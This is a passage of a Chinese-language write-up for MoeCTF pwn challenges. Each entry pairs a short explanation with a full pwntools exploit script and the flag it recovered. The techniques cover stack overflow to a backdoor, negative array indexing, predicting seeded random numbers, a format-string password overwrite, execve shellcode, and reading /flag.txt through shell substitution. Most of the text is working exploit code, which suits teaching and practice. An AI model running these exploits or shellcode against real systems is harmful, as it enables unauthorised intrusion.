p.sendlineafter(b"=",b"2")
p.sendlineafter(b"=",b"0")

p.recvuntil(b"OK, then some tough ones. Be WELL PREPARED!\n")
try:
    while (1):
        question = p.recvuntil(b"=").decode().replace("=","").replace("\n","").replace("/","//")
        #print (question)
        answer = str(eval(question)).encode()
        p.sendline(answer)
except EOFError:
    pass
p.interactive()

运行结果:

你过关。
moectf{ArIthMEtlC-iS_noT_M@Them@tIc5f1720}

no_more_gets

基础的栈溢出,注意栈对齐即可拿到shell

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

p = remote("127.0.0.1",53741)
offset = 0x50 + 8
backdoor_addr = 0x401176
ret = 0x40101a
payload = cyclic(offset) + p64(ret) + p64(backdoor_addr)
p.sendlineafter(b"This is my own shell, enter the password or get out.\n",payload)
p.interactive()

#moectf{G3ts_StriNG-thUs-GEts_FLag37495d75}

Moeplane

没有对数组 engine_thrustindex 作限制,导致可以用负数覆盖 flight 上的数据:

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

p = remote("127.0.0.1", 27818)

p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"> ", b"-15")
p.sendlineafter(b"> ", str(0x10).encode())

p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"> ", b"-16")
p.sendlineafter(b"> ", str(0x20).encode())

p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"> ", b"-17")
p.sendlineafter(b"> ", str(0x30).encode())

p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"> ", b"-18")
p.sendlineafter(b"> ", str(0x40).encode())

p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"> ", b"-19")
p.sendlineafter(b"> ", str(0x50).encode())

p.interactive()

#moectf{compUt3r_fallur3_WOnt_leT_YOu_fly524785}

leak_sth

随机数挑战,种子是当前时间,每次都不同,python里调用C库函数即可生成同样的随机数完成挑战拿到shell

不过注意%ld表示有符号长整型,范围为 -2147483648 ~ 2147483647(10位十进制数)

from pwn import *
from ctypes import *

libc = cdll.LoadLibrary("./libc.so.6") 
context(os='linux', arch='amd64', log_level='debug')
#elf = ELF("./pwn")

#p = process("./pwn")
p = remote("127.0.0.1",18156)

seed = libc.time(0)
libc.srand(seed)
challenge_num = libc.rand()
print (challenge_num)
p.sendlineafter(b"What's your name?\n",b"w8nn9z")
p.sendlineafter(b"Give me the number\n",str(challenge_num).encode())
p.interactive()

#moectf{YOU_aRe_1ukY_Or_clEv3R29ef66bc}

LoginSystem

输出用户名处存在明显的格式化字符串漏洞(fmt),gdb调试可以知道偏移为8,主要是通过printf和%n达成覆盖password地址内容的目的,进而拿shell

一开始还想着怎么缩短payload,后来想了想输入b"\x00"型的password就可以了,不用是可打印字符,本地多调试几次就能出

这题我自己在用fmtstr_payload的时候会出问题,直接手动构造了(

from pwn import *
#from ctypes import *

#libc = cdll.LoadLibrary("./libc.so.6") 
context(os='linux', arch='amd64', log_level='debug')
elf = ELF("./pwn")

#p = process("./pwn")
p = remote("127.0.0.1",19336)

payload = b"%2c%9$ln" + p64(0x404050)
p.sendlineafter(b"username: ",payload)
#gdb.attach(p)
p.sendlineafter(b"! Please input your password: \n",b"\x02" + b"\x00"*7)
p.interactive()

#moectf{Oh_You_cAn_6YP4SS_THE_P@5sWORD235e525}

ez_shellcode

没开NX,往栈上写入shellcode可以被执行,考虑到有对shellcode的长度限制,一开始直接用了个23长度的64位程序的shellcode梭了,后来自己又写了一个简单的系统调用的shellcode,都能打通

不过这题有个地址随机化,shellcode写在泄露的nbytes_4的地址上即可

from pwn import *
#from ctypes import *

#libc = cdll.LoadLibrary("./libc.so.6") 
context(os='linux', arch='amd64', log_level='debug')
elf = ELF("./pwn")

#p = process("./pwn")
p = remote("127.0.0.1",29972)

p.sendlineafter(b"Tell me your age:\n",b"1000")
p.recvuntil(b"Here is a gift for you :\n")
nbytes_4_addr = int((p.recv(14)),base=16)
#print (hex(nbytes_4_addr))

offset = 0x60 + 8
#shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
shellcode = asm('''
	mov rax,59
	mov rbx,0x0068732f6e69622f
	push rbx
	mov rdi,rsp
	mov rsi,0
	mov rdx,0
	syscall
''')
#print (len(shellcode))  37
payload = shellcode.ljust(offset)
payload += p64(nbytes_4_addr)
p.sendlineafter(b"What do you want to say?\n",payload)
p.interactive()

#moectf{WE1l_D0ne-my-fRieND4ce76b7954}

这是什么?random!

先简单看看代码逻辑,是一个 0xA + 2 次的随机数验证,但最后两个无论是否正确都不会退出程序,所以只需前面的 0xA 次正确即可,不过这道题的种子生成用到了localtime,感觉在python中比较难实现指针,伪代码如下:

  timer = time(0LL);
  v3 = localtime(&timer);
  srandom(v3->tm_yday);

也就是说最后的seed是v3->tm_yday,后来了解了localtime的用法,每一天对应的tm_yday是固定的,表示一年中的第几天,可以先写一个C语言代码弄出seed来再用python写交互脚本:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main () {
    struct tm *v3;
    time_t timer;
    int secret;
    timer = time(0);
    v3 = localtime(&timer);
    srandom(v3->tm_yday);
    printf("%d\n",v3->tm_yday); 
    secret = random() % 90000 + 10000;
    printf("%d",secret);
    return 0;
}

我做此题日期是8.19,所以seed是231,c语言代码运行结果也是如此:

$ ./a.out                              
231
48149
from pwn import *
from ctypes import *

libc = cdll.LoadLibrary("./libc.so.6") 
context(os='linux', arch='amd64', log_level='debug')
#elf = ELF("./pwn")

#p = process("./pwn")
p = remote("127.0.0.1",1307)

libc.srand(231)
for i in range(0,0xA):
	challenge_num = libc.random() % 90000 + 10000
	p.sendlineafter(b"Guess a five-digit number I'm thinking of\n> ",str(challenge_num).encode())
p.interactive()

#在此之后还要再交互两次,随便输什么数字,保证程序往下进行输出flag即可
#moectf{ranDOM_NUMBer5-AR3_pr3D1cT4BI3607f0c}

这是什么?shellcode!

写一段shellcode发过去即可,用shellcraft好像也能打通

from pwn import *
from ctypes import *

libc = cdll.LoadLibrary("./libc.so.6") 
context(os='linux', arch='amd64', log_level='debug')
#elf = ELF("./pwn")

#p = process("./pwn")
p = remote("192.168.1.6",7971)

shellcode = asm('''
	mov rax,59
	mov rbx,0x0068732f6e69622f
	push rbx
	mov rdi,rsp
	mov rsi,0
	mov rdx,0
	syscall
''')
#shellcode = asm(shellcraft.sh())
p.sendlineafter(b">",shellcode)
p.interactive()

#moectf{GeTShELl-N3VER-S0-ea5y1a42caf12}

哦不!我的libc!

非预期,试了下常用的命令,cat ls more less head tail啥的基本都不能用了,不过echo还能用,网上找到了关于echo输出文件内容的资料,先利用$(</flag.txt)或者`</flag.txt`获得 /flag.txt 文件内容作为输入的结果,再用echo进行输出,不过后来在做的时候发现不用echo也行,只不过会多个报错

这几个方法都能出flag:

root@ret2shell-89-7062:/# echo $(</flag.txt)
moectf{busyb0x-1S-s0OOO00ioO0OOO00000O00Oo0o0o_Busy15}
root@ret2shell-89-7062:~# echo `</flag.txt`
moectf{busyb0x-1S-s0OOO00ioO0OOO00000O00Oo0o0o_Busy15}
root@ret2shell-89-7062:~# $(</flag.txt)
-bash: moectf{busyb0x-1S-s0OOO00ioO0OOO00000O00Oo0o0o_Busy15}: command not found
root@ret2shell-89-7062:~# `</flag.txt`
-bash: moectf{busyb0x-1S-s0OOO00ioO0OOO00000O00Oo0o0o_Busy15}: command not found